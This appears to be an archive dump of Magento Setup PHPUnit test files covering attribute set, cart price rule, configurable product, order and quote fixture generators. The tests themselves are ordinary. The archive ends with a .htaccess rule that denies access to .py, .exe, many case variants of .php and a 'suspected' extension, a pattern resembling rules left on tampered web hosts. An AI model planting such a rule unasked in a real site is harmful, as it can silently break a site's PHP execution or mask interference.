Magento\Setup\Fixtures\FixtureModel; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * @SuppressWarnings(PHPMD) */ class AttributeSetsFixtureTest extends TestCase { /** * @var MockObject|FixtureModel */ private $fixtureModelMock; /** * @var AttributeSetsFixture */ private $model; /** * @var MockObject */ private $attributeSetsFixtureMock; /** * @var MockObject */ private $patternMock; protected function setUp(): void { $this->fixtureModelMock = $this->getMockBuilder(FixtureModel::class) ->disableOriginalConstructor() ->getMock(); $this->attributeSetsFixtureMock = $this->getMockBuilder(AttributeSetFixture::class) ->disableOriginalConstructor() ->getMock(); $this->patternMock = $this->getMockBuilder(Pattern::class) ->disableOriginalConstructor() ->getMock(); $this->model = new AttributeSetsFixture( $this->fixtureModelMock, $this->attributeSetsFixtureMock, $this->patternMock ); } public function testCreateAttributeSet() { $valueMap = [ ['attribute_sets', null, ['attribute_set' => [['some-data']]]], ['product_attribute_sets', null, null], ]; $this->attributeSetsFixtureMock->expects($this->once()) ->method('createAttributeSet') ->with(['some-data']); $this->fixtureModelMock ->expects($this->exactly(2)) ->method('getValue') ->willReturnMap($valueMap); $this->model->execute(); } public function testCreateProductAttributeSet() { $valueMap = [ ['attribute_sets', null, null], ['product_attribute_sets', null, 1], ['product_attribute_sets_attributes', 3, 2], ['product_attribute_sets_attributes_values', 3, 3], ]; $closure = function () { }; $this->patternMock->expects($this->once()) ->method('generateAttributeSet') ->with(AttributeSetsFixture::PRODUCT_SET_NAME . 1, 2, 3, $closure) ->willReturn(['some-data']); $this->attributeSetsFixtureMock->expects($this->once()) ->method('createAttributeSet') ->with(['some-data']); $this->fixtureModelMock ->expects($this->exactly(4)) ->method('getValue') ->willReturnMap($valueMap); $this->model->execute(); } public function testGetActionTitle() { $this->assertSame('Generating attribute sets', $this->model->getActionTitle()); } public function testIntroduceParamLabels() { $this->assertSame([ 'attribute_sets' => 'Attribute Sets (Default)', 'product_attribute_sets' => 'Attribute Sets (Extra)' ], $this->model->introduceParamLabels()); } } Magento/Setup/Test/Unit/Fixtures/CartPriceRulesFixtureTest.php000077700000022643151323623130020531 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures; use Magento\Catalog\Model\Category; use Magento\Framework\Model\ResourceModel\Db\AbstractDb; use Magento\Framework\Model\ResourceModel\Db\Context; use Magento\Framework\ObjectManager\ObjectManager; use Magento\SalesRule\Model\Rule; use Magento\SalesRule\Model\Rule\Condition\Address; use Magento\SalesRule\Model\Rule\Condition\Combine; use Magento\SalesRule\Model\Rule\Condition\Product; use Magento\SalesRule\Model\Rule\Condition\Product\Found; use Magento\Setup\Fixtures\CartPriceRulesFixture; use Magento\Setup\Fixtures\FixtureModel; use Magento\Store\Model\Store; use Magento\Store\Model\StoreManager; use Magento\Store\Model\Website; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class CartPriceRulesFixtureTest extends TestCase { /** * @var MockObject|FixtureModel */ private $fixtureModelMock; /** * @var CartPriceRulesFixture */ private $model; /** * @var \Magento\SalesRule\Model\RuleFactory|MockObject */ private $ruleFactoryMock; protected function setUp(): void { $this->fixtureModelMock = $this->createMock(FixtureModel::class); $this->ruleFactoryMock = $this->createPartialMock(\Magento\SalesRule\Model\RuleFactory::class, ['create']); $this->model = new CartPriceRulesFixture($this->fixtureModelMock, $this->ruleFactoryMock); } public function testExecute() { $storeMock = $this->createMock(Store::class); $storeMock->expects($this->once()) ->method('getRootCategoryId') ->willReturn(2); $websiteMock = $this->createMock(Website::class); $websiteMock->expects($this->once()) ->method('getGroups') ->willReturn([$storeMock]); $websiteMock->expects($this->once()) ->method('getId') ->willReturn('website_id'); $contextMock = $this->createMock(Context::class); $abstractDbMock = $this->getMockForAbstractClass( AbstractDb::class, [$contextMock], '', true, true, true, ['getAllChildren'] ); $abstractDbMock->expects($this->once()) ->method('getAllChildren') ->willReturn([1]); $storeManagerMock = $this->createMock(StoreManager::class); $storeManagerMock->expects($this->once()) ->method('getWebsites') ->willReturn([$websiteMock]); $categoryMock = $this->createMock(Category::class); $categoryMock->expects($this->once()) ->method('getResource') ->willReturn($abstractDbMock); $categoryMock->expects($this->once()) ->method('getPath') ->willReturn('path/to/file'); $categoryMock->expects($this->once()) ->method('getId') ->willReturn('category_id'); $objectValueMap = [ [Category::class, $categoryMock] ]; $objectManagerMock = $this->createMock(ObjectManager::class); $objectManagerMock->expects($this->once()) ->method('create') ->willReturn($storeManagerMock); $objectManagerMock->expects($this->once()) ->method('get') ->willReturnMap($objectValueMap); $valueMap = [ ['cart_price_rules', 0, 1], ['cart_price_rules_floor', 3, 3], ['cart_price_rules_advanced_type', false, false] ]; $this->fixtureModelMock ->expects($this->exactly(3)) ->method('getValue') ->willReturnMap($valueMap); $this->fixtureModelMock ->expects($this->exactly(2)) ->method('getObjectManager') ->willReturn($objectManagerMock); $ruleMock = $this->createMock(Rule::class); $this->ruleFactoryMock->expects($this->once()) ->method('create') ->willReturn($ruleMock); $this->model->execute(); } public function testNoFixtureConfigValue() { $ruleMock = $this->createMock(Rule::class); $ruleMock->expects($this->never())->method('save'); $objectManagerMock = $this->createMock(ObjectManager::class); $objectManagerMock->expects($this->never()) ->method('get') ->with(Rule::class) ->willReturn($ruleMock); $this->fixtureModelMock ->expects($this->never()) ->method('getObjectManager') ->willReturn($objectManagerMock); $this->fixtureModelMock ->expects($this->once()) ->method('getValue') ->willReturn(false); $this->model->execute(); } /** * @param int $ruleId * @param array $categoriesArray * @param int $ruleCount * @dataProvider dataProviderGenerateAdvancedCondition */ public function testGenerateAdvancedCondition($ruleId, $categoriesArray, $ruleCount) { $reflection = new \ReflectionClass($this->model); $reflectionProperty = $reflection->getProperty('cartPriceRulesCount'); $reflectionProperty->setAccessible(true); $reflectionProperty->setValue($this->model, $ruleCount); $result = $this->model->generateAdvancedCondition($ruleId, $categoriesArray); if ($ruleId < ($ruleCount - 200)) { $firstCondition = [ 'type' => Product::class, 'attribute' => 'category_ids', 'operator' => '==', 'value' => 0, ]; $secondCondition = [ 'type' => Address::class, 'attribute' => 'base_subtotal', 'operator' => '>=', 'value' => 5, ]; $expected = [ 'conditions' => [ 1 => [ 'type' => Combine::class, 'aggregator' => 'all', 'value' => '1', 'new_child' => '', ], '1--1' => [ 'type' => Found::class, 'aggregator' => 'all', 'value' => '1', 'new_child' => '', ], '1--1--1' => $firstCondition, '1--2' => $secondCondition ], 'actions' => [ 1 => [ 'type' => \Magento\SalesRule\Model\Rule\Condition\Product\Combine::class, 'aggregator' => 'all', 'value' => '1', 'new_child' => '', ], ] ]; } else { // Shipping Region $regions = ['Alabama', 'Alaska', 'Arizona', 'Arkansas', 'California', 'Colorado', 'Connecticut', 'Delaware', 'District of Columbia', 'Florida', 'Georgia', 'Hawaii', 'Idaho', 'Illinois', 'Indiana', 'Iowa', 'Kansas', 'Kentucky', 'Louisiana', 'Maine', 'Maryland', 'Massachusetts', 'Michigan', 'Minnesota', 'Mississippi', 'Missouri', 'Montana', 'Nebraska', 'Nevada', 'New Hampshire', 'New Jersey', 'New Mexico', 'New York', 'North Carolina', 'North Dakota', 'Ohio', 'Oklahoma', 'Oregon', 'Pennsylvania', 'Rhode Island', 'South Carolina', 'South Dakota', 'Tennessee', 'Texas', 'Utah', 'Vermont', 'Virginia', 'Washington', 'West Virginia', 'Wisconsin', 'Wyoming']; $firstCondition = [ 'type' => Address::class, 'attribute' => 'region', 'operator' => '==', 'value' => $regions[($ruleId / 4) % 50], ]; $secondCondition = [ 'type' => Address::class, 'attribute' => 'base_subtotal', 'operator' => '>=', 'value' => 5, ]; $expected = [ 'conditions' => [ 1 => [ 'type' => Combine::class, 'aggregator' => 'all', 'value' => '1', 'new_child' => '', ], '1--1' => $firstCondition, '1--2' => $secondCondition ], 'actions' => [ 1 => [ 'type' => \Magento\SalesRule\Model\Rule\Condition\Product\Combine::class, 'aggregator' => 'all', 'value' => '1', 'new_child' => '', ], ] ]; } $this->assertSame($expected, $result); } /** * @return array */ public function dataProviderGenerateAdvancedCondition() { return [ [1, [[0]], 1], [1, [[0]], 300] ]; } public function testGetActionTitle() { $this->assertSame('Generating cart price rules', $this->model->getActionTitle()); } public function testIntroduceParamLabels() { $this->assertSame( [ 'cart_price_rules' => 'Cart Price Rules' ], $this->model->introduceParamLabels() ); } } Magento/Setup/Test/Unit/Fixtures/ConfigurableProductsFixtureTest.php000077700000020554151323623130021765 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures; use Magento\Catalog\Api\AttributeSetRepositoryInterface; use Magento\Catalog\Api\ProductAttributeOptionManagementInterface; use Magento\Catalog\Model\Category; use Magento\Eav\Model\ResourceModel\Entity\Attribute\CollectionFactory; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\ImportExport\Model\Import; use Magento\Setup\Fixtures\AttributeSet\AttributeSetFixture; use Magento\Setup\Fixtures\AttributeSet\Pattern; use Magento\Setup\Fixtures\ConfigurableProductsFixture; use Magento\Setup\Fixtures\FixtureModel; use Magento\Setup\Model\Complex\Generator; use Magento\Store\Model\StoreManager; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class ConfigurableProductsFixtureTest extends TestCase { /** * @var MockObject|FixtureModel */ private $fixtureModelMock; /** * @var ConfigurableProductsFixture */ private $model; /** * @var AttributeSetFixture */ private $attributeSetsFixtureMock; /** * @var Pattern */ private $attributePatternMock; protected function setUp(): void { $this->fixtureModelMock = $this->getMockBuilder(FixtureModel::class) ->disableOriginalConstructor() ->setMethods(['createAttributeSet', 'getValue', 'getObjectManager']) ->getMock(); $this->attributeSetsFixtureMock = $this->getMockBuilder(AttributeSetFixture::class) ->disableOriginalConstructor() ->getMock(); $this->attributePatternMock = $this->getMockBuilder(Pattern::class) ->disableOriginalConstructor() ->getMock(); $this->model = (new ObjectManager($this))->getObject(ConfigurableProductsFixture::class, [ 'fixtureModel' => $this->fixtureModelMock, 'attributeSetsFixture' => $this->attributeSetsFixtureMock, 'attributePattern' => $this->attributePatternMock, ]); } /** * @SuppressWarnings(PHPMD) */ public function testExecute() { $importMock = $this->getMockBuilder(Import::class) ->disableOriginalConstructor() ->getMock(); $categoryMock = $this->getMockBuilder(Category::class) ->disableOriginalConstructor() ->getMock(); $storeManagerMock = $this->getMockBuilder(StoreManager::class) ->disableOriginalConstructor() ->getMock(); $source = $this->getMockBuilder(Generator::class) ->disableOriginalConstructor() ->getMock(); $objectManagerMock = $this->getMockBuilder(\Magento\Framework\ObjectManager\ObjectManager::class) ->disableOriginalConstructor() ->getMock(); $attributeSetRepositoryMock = $this->getMockForAbstractClass( AttributeSetRepositoryInterface::class ); $productAttributeOptionManagementInterface = $this->getMockForAbstractClass( ProductAttributeOptionManagementInterface::class ); $objectManagerMock->expects($this->any()) ->method('get') ->willReturnMap([ [ StoreManager::class, $storeManagerMock ], [ AttributeSetRepositoryInterface::class, $attributeSetRepositoryMock ], [ ProductAttributeOptionManagementInterface::class, $productAttributeOptionManagementInterface ] ]); $attributeCollectionFactoryMock = $this->getMockBuilder(CollectionFactory::class) ->setMethods(['create']) ->disableOriginalConstructor() ->getMock(); $objectManagerMock->expects($this->any()) ->method('create') ->willReturnCallback( function ($className) use ( $attributeCollectionFactoryMock, $categoryMock, $importMock, $source ) { if ($className === CollectionFactory::class) { return $attributeCollectionFactoryMock; } if ($className === Category::class) { return $categoryMock; } if ($className === Import::class) { return $importMock; } if ($className === Generator::class) { return $source; } return null; } ); $valuesMap = [ ['configurable_products', 0, 1], ['simple_products', 0, 1], ['search_terms', null, ['search_term' =>[['term' => 'iphone 6', 'count' => '1']]]], ['configurable_products_variation', 3, 1], [ 'search_config', null, [ 'max_amount_of_words_description' => '200', 'max_amount_of_words_short_description' => '20', 'min_amount_of_words_description' => '20', 'min_amount_of_words_short_description' => '5' ] ], ['attribute_sets', null, [ 'attribute_set' => [ [ 'name' => 'attribute set name', 'attributes' => [ 'attribute' => [ [ 'is_required' => 1, 'is_visible_on_front' => 1, 'is_visible_in_advanced_search' => 1, 'is_filterable' => 1, 'is_filterable_in_search' => 1, 'default_value' => 'yellow1', 'attribute_code' => 'mycolor', 'is_searchable' => '1', 'frontend_label' => 'mycolor', 'frontend_input' => 'select', 'options' => [ 'option' => [ [ 'label' => 'yellow1', 'value' => '' ] ] ] ] ] ] ] ] ] ] ]; $this->fixtureModelMock ->expects($this->any()) ->method('getValue') ->willReturnMap($valuesMap); $this->model->execute(); } public function testNoFixtureConfigValue() { $importMock = $this->getMockBuilder(Import::class) ->disableOriginalConstructor() ->getMock(); $importMock->expects($this->never())->method('validateSource'); $importMock->expects($this->never())->method('importSource'); $objectManagerMock = $this->getMockBuilder(\Magento\Framework\ObjectManager\ObjectManager::class) ->disableOriginalConstructor() ->getMock(); $objectManagerMock->expects($this->never()) ->method('create') ->with(Import::class) ->willReturn($importMock); $this->fixtureModelMock ->expects($this->never()) ->method('getObjectManager') ->willReturn($objectManagerMock); $this->model->execute(); } public function testGetActionTitle() { $this->assertSame('Generating configurable products', $this->model->getActionTitle()); } public function testIntroduceParamLabels() { $this->assertSame([], $this->model->introduceParamLabels()); } } Magento/Setup/Test/Unit/Fixtures/OrdersFixtureTest.php000077700000007206151323623130017076 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures; use Magento\Catalog\Api\ProductRepositoryInterface; use Magento\Catalog\Model\ResourceModel\Product\CollectionFactory; use Magento\ConfigurableProduct\Api\LinkManagementInterface; use Magento\ConfigurableProduct\Api\OptionRepositoryInterface; use Magento\Framework\ObjectManager\ObjectManager; use Magento\Framework\Serialize\SerializerInterface; use Magento\Sales\Model\ResourceModel\Order; use Magento\Setup\Fixtures\FixtureModel; use Magento\Setup\Fixtures\OrdersFixture; use Magento\Store\Model\StoreManagerInterface; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class OrdersFixtureTest extends TestCase { /** * @var MockObject|FixtureModel */ private $fixtureModelMock; /** * @var OrdersFixture */ private $model; public function testExecute() { $storeManagerMock = $this->getMockBuilder(StoreManagerInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $productCollectionFactoryMock = $this->getMockBuilder( CollectionFactory::class ) ->disableOriginalConstructor() ->getMock(); $productRepositoryMock = $this->getMockBuilder(ProductRepositoryInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $optionRepositoryMock = $this->getMockBuilder(OptionRepositoryInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $linkManagementMock = $this->getMockBuilder(LinkManagementInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $serializerMock = $this->getMockBuilder(SerializerInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $this->fixtureModelMock = $this->getMockBuilder(FixtureModel::class) ->disableOriginalConstructor() ->getMock(); $this->model = new OrdersFixture( $storeManagerMock, $productCollectionFactoryMock, $productRepositoryMock, $optionRepositoryMock, $linkManagementMock, $serializerMock, $this->fixtureModelMock ); $orderMock = $this->getMockBuilder(Order::class) ->addMethods(['getTableName', 'query', 'fetchColumn']) ->onlyMethods(['getTable', 'getConnection']) ->disableOriginalConstructor() ->getMock(); $path = explode('\\', Order::class); $name = array_pop($path); $orderMock->expects($this->atLeastOnce()) ->method('getConnection') ->willReturn($orderMock); $orderMock->expects($this->once()) ->method('getTable') ->willReturn(strtolower($name) . '_table_name'); $orderMock->expects($this->once()) ->method('query') ->willReturn($orderMock); $orderMock->expects($this->once()) ->method('getTableName') ->willReturn(strtolower($name) . '_table_name'); $objectManagerMock = $this->createMock(ObjectManager::class); $objectManagerMock->expects($this->atLeastOnce()) ->method('get') ->willReturn($orderMock); $this->fixtureModelMock ->expects($this->atLeastOnce()) ->method('getObjectManager') ->willReturn($objectManagerMock); $this->model->execute(); } } Magento/Setup/Test/Unit/Fixtures/Quote/QuoteGeneratorTest.php000077700000032461151323623130020333 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures\Quote; use Magento\Catalog\Api\Data\ProductInterface; use Magento\Catalog\Api\ProductRepositoryInterface; use Magento\Catalog\Model\ResourceModel\Product\Collection; use Magento\ConfigurableProduct\Api\Data\OptionValueInterface; use Magento\ConfigurableProduct\Api\LinkManagementInterface; use Magento\ConfigurableProduct\Api\OptionRepositoryInterface; use Magento\ConfigurableProduct\Model\Product\Type\Configurable\Attribute; use Magento\Framework\DB\Adapter\AdapterInterface; use Magento\Framework\DB\Select; use Magento\Framework\DB\Statement\Pdo\Mysql; use Magento\Framework\Model\ResourceModel\Db\AbstractDb; use Magento\Framework\ObjectManagerInterface; use Magento\Framework\Serialize\SerializerInterface; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Fixtures\FixtureModel; use Magento\Setup\Fixtures\Quote\QuoteConfiguration; use Magento\Setup\Fixtures\Quote\QuoteGenerator; use Magento\Store\Api\Data\GroupInterface; use Magento\Store\Api\Data\StoreInterface; use Magento\Store\Api\Data\WebsiteInterface; use Magento\Store\Model\StoreManagerInterface; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * Test for Magento\Setup\Fixtures\Quote\QuoteGenerator class. * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class QuoteGeneratorTest extends TestCase { /** * @var StoreManagerInterface|MockObject */ private $storeManager; /** * @var ProductRepositoryInterface|MockObject */ private $productRepository; /** * @var OptionRepositoryInterface|MockObject */ private $optionRepository; /** * @var \Magento\Catalog\Model\ResourceModel\Product\CollectionFactory|MockObject */ private $productCollectionFactory; /** * @var LinkManagementInterface|MockObject */ private $linkManagement; /** * @var SerializerInterface|MockObject */ private $serializer; /** * @var QuoteConfiguration|MockObject */ private $config; /** * @var FixtureModel|MockObject */ private $fixtureModelMock; /** * @var QuoteGenerator */ private $fixture; /** * @inheritdoc */ protected function setUp(): void { $this->fixtureModelMock = $this->getMockBuilder(FixtureModel::class) ->disableOriginalConstructor() ->getMock(); $this->storeManager = $this->getMockBuilder(StoreManagerInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $this->productRepository = $this->getMockBuilder(ProductRepositoryInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $this->optionRepository = $this->getMockBuilder( OptionRepositoryInterface::class ) ->disableOriginalConstructor() ->getMockForAbstractClass(); $this->productCollectionFactory = $this->getMockBuilder( \Magento\Catalog\Model\ResourceModel\Product\CollectionFactory::class ) ->disableOriginalConstructor() ->setMethods(['create']) ->getMock(); $this->linkManagement = $this->getMockBuilder(LinkManagementInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $this->serializer = $this->getMockBuilder(SerializerInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $this->config = $this->getMockBuilder(QuoteConfiguration::class) ->disableOriginalConstructor() ->setMethods( [ 'getSimpleCountTo', 'getConfigurableCountTo', 'getBigConfigurableCountTo', 'getRequiredQuoteQuantity', 'getFixtureDataFilename', 'getExistsQuoteQuantity', ] ) ->getMock(); $objectManager = new ObjectManager($this); $this->fixture = $objectManager->getObject( QuoteGenerator::class, [ 'fixtureModel' => $this->fixtureModelMock, 'storeManager' => $this->storeManager, 'productRepository' => $this->productRepository, 'optionRepository' => $this->optionRepository, 'productCollectionFactory' => $this->productCollectionFactory, 'linkManagement' => $this->linkManagement, 'serializer' => $this->serializer, 'config' => $this->config, ] ); } /** * Test generateQuotes method. * * @return void */ public function testGenerateQuotes() { $storeId = 1; $websiteId = 1; $storeGroupId = 1; $simpleProductIds = [1, 2]; $configurableProductId = [3]; $bigConfigurableProductId = [4]; $dir = str_replace('Test/Unit/', '', dirname(__DIR__)); $store = $this->getMockBuilder(StoreInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $website = $this->getMockBuilder(WebsiteInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $storeGroup = $this->getMockBuilder(GroupInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $productCollection = $this->getMockBuilder(Collection::class) ->disableOriginalConstructor() ->getMock(); $select = $this->getMockBuilder(Select::class) ->disableOriginalConstructor() ->getMock(); $this->config->expects($this->atLeastOnce())->method('getSimpleCountTo')->willReturn(2); $this->config->expects($this->atLeastOnce())->method('getConfigurableCountTo')->willReturn(1); $this->config->expects($this->atLeastOnce())->method('getBigConfigurableCountTo')->willReturn(1); $this->config->expects($this->atLeastOnce())->method('getRequiredQuoteQuantity')->willReturn(1); $this->config->expects($this->atLeastOnce())->method('getExistsQuoteQuantity')->willReturn(0); $this->config->expects($this->atLeastOnce()) ->method('getFixtureDataFilename') ->willReturn($dir . DIRECTORY_SEPARATOR . "_files" . DIRECTORY_SEPARATOR . 'orders_fixture_data.json'); $this->storeManager->expects($this->atLeastOnce())->method('getStores')->willReturn([$store]); $this->storeManager->expects($this->atLeastOnce()) ->method('getWebsite')->with($websiteId)->willReturn($website); $this->storeManager->expects($this->atLeastOnce()) ->method('getGroup')->with($storeGroupId)->willReturn($storeGroup); $store->expects($this->atLeastOnce())->method('getId')->willReturn($storeId); $store->expects($this->atLeastOnce())->method('getWebsiteId')->willReturn($websiteId); $store->expects($this->atLeastOnce())->method('getStoreGroupId')->willReturn($storeGroupId); $website->expects($this->atLeastOnce())->method('getName')->willReturn('Default'); $store->expects($this->atLeastOnce())->method('getName')->willReturn('Default'); $storeGroup->expects($this->atLeastOnce())->method('getName')->willReturn('Default'); $this->storeManager->expects($this->atLeastOnce())->method('setCurrentStore')->with($storeId); $this->productCollectionFactory->expects($this->atLeastOnce()) ->method('create')->willReturn($productCollection); $productCollection->expects($this->atLeastOnce())->method('addStoreFilter')->with(1)->willReturnSelf(); $productCollection->expects($this->atLeastOnce())->method('addWebsiteFilter')->with(1)->willReturnSelf(); $productCollection->expects($this->atLeastOnce())->method('getSelect')->willReturn($select); $select->expects($this->atLeastOnce()) ->method('where') ->withConsecutive( [' type_id = \'simple\' '], [' sku NOT LIKE \'Big%\' '], [' type_id = \'configurable\' '], [' sku NOT LIKE \'Big%\' '], [' type_id = \'configurable\' '], [' sku LIKE \'Big%\' '] )->willReturnSelf(); $productCollection->expects($this->atLeastOnce()) ->method('getAllIds') ->withConsecutive([2], [1], [1]) ->willReturnOnConsecutiveCalls($simpleProductIds, $configurableProductId, $bigConfigurableProductId); $this->prepareProducts(); $this->mockConnection(); $this->fixture->generateQuotes(); } /** * Prepare products mocks. * * @return void */ private function prepareProducts() { $product = $this->getMockBuilder(ProductInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $configurableChild = $this->getMockBuilder(ProductInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $childProduct = $this->getMockBuilder(ProductInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $option = $this->getMockBuilder(Attribute::class) ->disableOriginalConstructor() ->getMock(); $optionValue = $this->getMockBuilder(OptionValueInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $this->productRepository->expects($this->atLeastOnce()) ->method('getById') ->withConsecutive([1], [2], [3], [4]) ->willReturn($product); $product->expects($this->atLeastOnce()) ->method('getSku')->willReturnOnConsecutiveCalls('sku1', 'sku2', 'sku3', 'sku3', 'sku4', 'sku4'); $product->expects($this->atLeastOnce()) ->method('getName')->willReturnOnConsecutiveCalls('name1', 'name2', 'name3', 'name4'); $this->serializer->expects($this->atLeastOnce()) ->method('serialize') ->willReturn('a:1:{i:10;i:1;}'); $this->optionRepository->expects($this->atLeastOnce()) ->method('getList') ->withConsecutive(['sku3'], ['sku4']) ->willReturn([$option]); $this->linkManagement->expects($this->atLeastOnce()) ->method('getChildren') ->withConsecutive(['sku3'], ['sku4']) ->willReturn([$configurableChild]); $configurableChild->expects($this->atLeastOnce()) ->method('getSku') ->willReturnOnConsecutiveCalls('childSku3', 'childSku3', 'childSku4', 'childSku4'); $this->productRepository->expects($this->atLeastOnce()) ->method('get') ->withConsecutive(['childSku3'], ['childSku4']) ->willReturn($childProduct); $childProduct->expects($this->atLeastOnce())->method('getId')->willReturnOnConsecutiveCalls(10, 11); $option->expects($this->atLeastOnce())->method('getLabel')->willReturnOnConsecutiveCalls('label3', 'label4'); $option->expects($this->atLeastOnce()) ->method('getAttributeId')->willReturnOnConsecutiveCalls(10, 10, 20, 20); $option->expects($this->atLeastOnce())->method('getValues')->willReturn([$optionValue]); $optionValue->expects($this->atLeastOnce())->method('getValueIndex')->willReturn(1); $configurableChild->expects($this->atLeastOnce()) ->method('getName')->willReturnOnConsecutiveCalls('childName3', 'childName4'); } /** * Mock connection to DB and queries. * * @return void */ private function mockConnection() { $objectManager = $this->getMockBuilder(ObjectManagerInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $resource = $this->getMockBuilder(AbstractDb::class) ->disableOriginalConstructor() ->getMock(); $connection = $this->getMockBuilder(AdapterInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $statement = $this->getMockBuilder(Mysql::class) ->disableOriginalConstructor() ->getMock(); $this->fixtureModelMock->expects($this->atLeastOnce())->method('getObjectManager')->willReturn($objectManager); $objectManager->expects($this->atLeastOnce()) ->method('get') ->willReturn($resource); $resource->expects($this->atLeastOnce())->method('getConnection')->willReturn($connection); $connection->expects($this->atLeastOnce()) ->method('getTableName') ->willReturn('table_name'); $resource->expects($this->atLeastOnce()) ->method('getTable') ->willReturn('table_name'); $connection->expects($this->atLeastOnce()) ->method('query') ->willReturn($statement); $connection->expects($this->atLeastOnce())->method('getTransactionLevel')->willReturn(0); $connection->expects($this->atLeastOnce())->method('beginTransaction')->willReturnSelf(); $statement->expects($this->atLeastOnce())->method('fetchColumn')->with(0)->willReturn(25); } } Magento/Setup/Test/Unit/Fixtures/Quote/QuoteGeneratorFactoryTest.php000077700000003406151323623130021660 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures\Quote; use Magento\Framework\ObjectManagerInterface; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Fixtures\Quote\QuoteGenerator; use Magento\Setup\Fixtures\Quote\QuoteGeneratorFactory; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * Test for Magento\Setup\Fixtures\Quote\QuoteGeneratorFactory class. */ class QuoteGeneratorFactoryTest extends TestCase { /** * @var ObjectManagerInterface|MockObject */ private $objectManager; /** * @var QuoteGeneratorFactory */ private $fixture; /** * @inheritdoc */ protected function setUp(): void { $this->objectManager = $this->getMockBuilder(ObjectManagerInterface::class) ->disableOriginalConstructor() ->getMockForAbstractClass(); $objectManager = new ObjectManager($this); $this->fixture = $objectManager->getObject( QuoteGeneratorFactory::class, [ 'objectManager' => $this->objectManager, 'instanceName' => QuoteGenerator::class, ] ); } /** * Test create method. * * @return void */ public function testCreate() { $result = $this->getMockBuilder(QuoteGenerator::class) ->disableOriginalConstructor() ->getMock(); $this->objectManager->expects($this->once()) ->method('create') ->with(QuoteGenerator::class, []) ->willReturn($result); $this->assertSame($result, $this->fixture->create([])); } } Magento/Setup/Test/Unit/Fixtures/Quote/QuoteConfigurationTest.php000077700000004610151323623130021207 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Fixtures\Quote; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Fixtures\FixtureModel; use Magento\Setup\Fixtures\Quote\QuoteConfiguration; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * Test for Magento\Setup\Fixtures\Quote\QuoteConfiguration class. */ class QuoteConfigurationTest extends TestCase { /** * @var FixtureModel|MockObject */ private $fixtureModelMock; /** * @var QuoteConfiguration */ private $fixture; /** * @inheritdoc */ protected function setUp(): void { $this->fixtureModelMock = $this->getMockBuilder(FixtureModel::class) ->disableOriginalConstructor() ->getMock(); $objectManager = new ObjectManager($this); $this->fixture = $objectManager->getObject( QuoteConfiguration::class, [ 'fixtureModel' => $this->fixtureModelMock ] ); } /** * Test load method. * * @return void */ public function testLoad() { $dir = str_replace('Test/Unit/', '', dirname(__DIR__)); $expectedResult = [ 'simple_count_to' => 1, 'simple_count_from' => 1, 'configurable_count_to' => 1, 'configurable_count_from' => 1, 'big_configurable_count_to' => 1, 'big_configurable_count_from' => 1, 'fixture_data_filename' => $dir . DIRECTORY_SEPARATOR . "_files" . DIRECTORY_SEPARATOR . 'orders_fixture_data.json', 'order_quotes_enable' => 1, ]; $this->fixtureModelMock->expects($this->atLeastOnce()) ->method('getValue') ->withConsecutive( ['order_simple_product_count_to'], ['order_simple_product_count_from'], ['order_configurable_product_count_to'], ['order_configurable_product_count_from'], ['order_big_configurable_product_count_to'], ['order_big_configurable_product_count_from'], ['order_quotes_enable'] )->willReturn(1); $this->assertSame($expectedResult, $this->fixture->load()->getData()); } } Magento/Setup/Test/Unit/Fixtures/Quote/.htaccess000077700000000177151323623130015613 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all 